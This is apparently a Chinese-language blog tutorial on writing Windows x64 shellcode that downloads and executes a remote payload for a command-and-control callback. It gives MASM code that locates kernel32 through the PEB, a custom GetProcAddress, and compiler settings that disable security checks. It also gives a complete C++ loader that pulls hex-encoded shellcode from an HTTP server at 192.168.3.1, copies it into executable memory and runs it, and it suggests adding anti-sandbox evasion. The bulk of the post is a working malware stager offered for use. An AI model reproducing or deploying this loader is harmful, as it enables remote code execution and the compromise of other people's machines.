上一篇文章中讲了如何patch,没讲如何写上线的shellcode,本文就简单记录一下如何编写一个远程加载的shellcode

什么是shellcode

shellcode是指不依赖环境,放到任何地方都可以执行的机器码。编写shellcode需要注意如下事项:

  1. 不能有全局变量,因为shellcode不依赖环境,放到其他程序中执行不一定会有这个全局变量
  2. 不能使用常量字符串,也就是类似于”abc”这样的字符串,需要通过数组定义字符串,例如char string[] = {'a', 'b', 'c'}; 或者char string[] = {0x61, 0x62, 0x63}; 这是因为双引号字符串编译器会优先存放在常量区中,其他程序不一定有这样一个常量区;而使用数组定义字符串,数据会直接放到堆栈中,不依赖外部环境。
  3. 函数、导入表不使用绝对地址,因为系统不会每次都把DLL文件加载到相同地址上,而且DLL文件可能随着Windows每次新发布的更新而发生变化,所以不能依赖DLL文件中某个函数特定的偏移。shellcode需要在调用函数时,先用LoadLibrary把函数所属的DLL文件加载到内存,然后通过GetProcAddress查找所需要的函数地址,通过这个地址进行函数调用。
  4. 避免空字节,空字节被认为是字符串的结束符。

因为函数不能直接使用,所以需要动态加载获取函数地址,动态加载使用GetProcAddress函数,接着用GetProcAddress去获取kernel32中LoadLibraryGetProcAddress,接着用这两个函数就能获取任意函数地址进行调用了。

1
2
3
1.查找PEB获取kernel32基地址
2.通过自实现的GetProcAddress去查找kernel32中的LoadLibrary和GetProcAddress
3.接着用LoadLibrary和GetProcAddress去加载各种dll中的函数

kernel32基址查找

由于LoadLibrary在kernel32中,所以我们要先获取kernel32的地址,才能去加载,这里是通过peb查找,具体这里不细说

1
2
3
4
5
6
7
8
9
10
11
12
13
14
GetModuleKernel proc
xor r8, r8
xor rax, rax
xor r10, r10
add r10, 60h
mov rax, gs:[r10] ;通过GS寄存器获取PEB基址
mov rax, [rax + 18h] ;获取PEB中Ldr数据结构的基址
mov rax, [rax + 10h] ;获取Ldr数据结构的InmemoryOrderModuleList字段的基址
mov rax, [rax] ;获取InmemoryOrderModuleList链表第一个节点 用这个取就是ntdll的基址
mov rax, [rax] ;获取InmemoryOrderModuleList链表第一个节点 用这个就是kernen32的基址
mov rax, [rax + 30h] ;获取节点中BaseAddress字段,既kernel32.dll的基址
ret
GetModuleKernel endp

自实现GetProcAddress

接着需要实现一下GetProcAddress,这里主要是用来查找GetProcAddressLoadLibrary

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
FARPROC MyGetProcAddress(HMODULE hModule, char* lpProcName) {
IMAGE_DOS_HEADER* pDosHeader = (IMAGE_DOS_HEADER*)hModule;
IMAGE_NT_HEADERS64* pNtHeaders = (IMAGE_NT_HEADERS64*)((char*)pDosHeader + pDosHeader->e_lfanew);

//LPVOID exports1 = (LPVOID)&(pNtHeaders->OptionalHeader.DataDirectory[0]);
//DWORD exports2 = pNtHeaders->OptionalHeader.DataDirectory[0].VirtualAddress;

IMAGE_EXPORT_DIRECTORY* pExportDir = (IMAGE_EXPORT_DIRECTORY*)((char*)pDosHeader + pNtHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress);

DWORD* pAddressOfNames = (DWORD*)((char*)pDosHeader + pExportDir->AddressOfNames);
WORD* pAddressOfOrdinals = (WORD*)((char*)pDosHeader + pExportDir->AddressOfNameOrdinals);
DWORD* pAddressOfFunctions = (DWORD*)((char*)pDosHeader + pExportDir->AddressOfFunctions);

for (DWORD i = 0; i < pExportDir->NumberOfNames; i++) {
LPCSTR pProcName = (LPCSTR)((char*)pDosHeader + pAddressOfNames[i]);
if (MyStrCmp((char*)pProcName, lpProcName) == 0) {
WORD ordinal = pAddressOfOrdinals[i];
DWORD functionRVA = pAddressOfFunctions[ordinal];
FARPROC functionPtr = (FARPROC)((char*)hModule + functionRVA);
return functionPtr;
}
}
return NULL;
}

需要注意的是32位和64位的PE结构有些不同,所以不通用,上面的64位的

项目设置

接着就是需要设置一下项目的选项(VS2022)

  1. 项目设置Release,测试可以用Debug测试
  2. 修改入口函数,在项目属性->链接器->高级->入口点
  3. 接着就是一些优化处理
1
2
3
4
5
属性 → C/C++ → 代码生成 → 安全检查 → 禁用安全检查
属性 → C/C++ → 代码生成 → 运行库 → 多线程(/MT)
属性 → C/C++ → 优化 → 已禁用
属性 → 链接器 → 清单文件 → 生成清单文件 → 否
属性 → 链接器 → 调试 → 生成调试信息 → 否

由于64位不能使用内联汇编,因此需要新建一个asm文件,然后项目右键->生成依赖,勾选上masm

image-20240824181300309

接着对asm文件右键->属性,选择项类型Microsoft Macro Assembler,从生成中排除否

image-20240824181345214

推荐使用网上的shellcode模板,这里推荐两个CppDevShellcodeShellcodeDev,本文基于CppDevShellcode编写

Shellcode编写

上面都搞完之后就可以开始正式写shellcode了,这里可以看先一下网上常见的远程加载的代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
#include <windows.h>
#include <wininet.h>
#pragma comment(lib, "wininet.lib")
#include <iostream>
#include <fstream>
#include <sstream>
#include <vector>

using namespace std;


// 将十六进制中的单个字符转换为相应的整数值
unsigned char hexCharToByte(char character) {
if (character >= '0' && character <= '9') {
return character - '0';
}
if (character >= 'a' && character <= 'f') {
return character - 'a' + 10;
}
if (character >= 'A' && character <= 'F') {
return character - 'A' + 10;
}
return 0;
}

// 将十六进制字符串转换成字节型数组
void hexStringToBytes(const std::string& hexString, unsigned char* byteArray, int byteArraySize) {
for (int i = 0; i < hexString.length(); i += 2) {
byteArray[i / 2] = hexCharToByte(hexString[i]) * 16 + hexCharToByte(hexString[i + 1]);
}
}

/**
* 从指定的URL下载内容并将其存储到给定的缓冲区中。
*
* @param url 要下载的URL
* @param buffer 存储下载内容的缓冲区
* @return 下载的字节数(注意:字节数是原始十六进制字符串长度的一半)
*/
size_t GetUrl_HexContent(LPSTR url, std::vector<unsigned char>& buffer) {
HINTERNET hInternet, hConnect;
DWORD bytesRead;
DWORD bufferSize = 0;
DWORD contentLength = 0;
DWORD index = 0;
DWORD bufferLength = sizeof(bufferSize);

// 打开一个与互联网的连接
hInternet = InternetOpen(L"User Agent", INTERNET_OPEN_TYPE_DIRECT, NULL, NULL, 0);
if (hInternet == NULL) {
std::cerr << "InternetOpen failed. Error: " << GetLastError() << std::endl;
return 0;
}

// 打开一个URL连接
hConnect = InternetOpenUrlA(hInternet, url, NULL, 0, INTERNET_FLAG_RELOAD, 0);
if (hConnect == NULL) {
std::cerr << "InternetOpenUrlA failed. Error: " << GetLastError() << std::endl;
InternetCloseHandle(hInternet);
return 0;
}

// 查询HTTP响应头中的内容长度
HttpQueryInfo(hConnect, HTTP_QUERY_CONTENT_LENGTH | HTTP_QUERY_FLAG_NUMBER, &contentLength, &bufferLength, &index);
std::vector<char> hexBuffer(contentLength + 1, 0);
// 读取URL返回的内容到hexBuffer中
if (!InternetReadFile(hConnect, &hexBuffer[0], contentLength, &bytesRead)) {
std::cerr << "InternetReadFile failed. Error: " << GetLastError() << std::endl;
}
else if (bytesRead > 0) {
hexBuffer[bytesRead] = '\0';
// 调整buffer的大小,以便存储转换后的字节数据
buffer.resize(bytesRead / 2);
// 将十六进制字符串转换为字节型数组
hexStringToBytes(&hexBuffer[0], &buffer[0], bytesRead / 2);
}

// 关闭连接
InternetCloseHandle(hConnect);
InternetCloseHandle(hInternet);

// 返回读取到的字节数(注意:字节数是原始十六进制字符串长度的一半)
return bytesRead / 2;
}


int main() {
// 把这个URL换成你的shellcode文件的URL
LPSTR url = (char*)"http://192.168.3.1:8088/sss.txt";

//存放恶意代码的数组
std::vector<unsigned char> buffer;

//获取远程url的16进制内容,并将其存放至buffer数组
size_t size = GetUrl_HexContent(url, buffer);

// 在内存中分配一块可以执行的区域
char* exec = (char*)VirtualAlloc(NULL, size, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);

// 将shellcode复制到该区域
memcpy(exec, buffer.data(), size);

// 执行该shellcode
((void(*) ())exec)();

//打印buffer的内容,只为演示,实际使用中可能并不需要这一步
//for (size_t i = 0; i < buffer.size(); i++) {
// printf("%02X ", buffer[i]);
// if ((i + 1) % 16 == 0) {
// printf("\n");
// }
//}

return 0;
}

代码也不长,分析结果如下

1
2
3
4
1.远程读取服务器文件内容
2.将十六进制转换成数组
3.开辟一个可读可写可执行的内存空间,将读取的内容移动进去
4.通过函数指针方式执行上线

其中的十六进制转换可以去掉,保留其他步骤即可,第一步先要定义相关的函数

image-20240824192239014

image-20240824192322146

之后通过GetProcAddressLoadLibrary去获取这些函数的地址

image-20240824192513614

后面就可以按照上面的代码进行编写,写完之后就可以提取shellcode然后替换进去使用,可以添加一些反沙箱。但由于添加之后体积会变大,所以可以通过jump的方式跳转到另外一个函数去执行上线的shellcode。

最后展示一下效果

image-20240824193219980

image-20240824193243037

image-20240824193342569

image-20240824193406900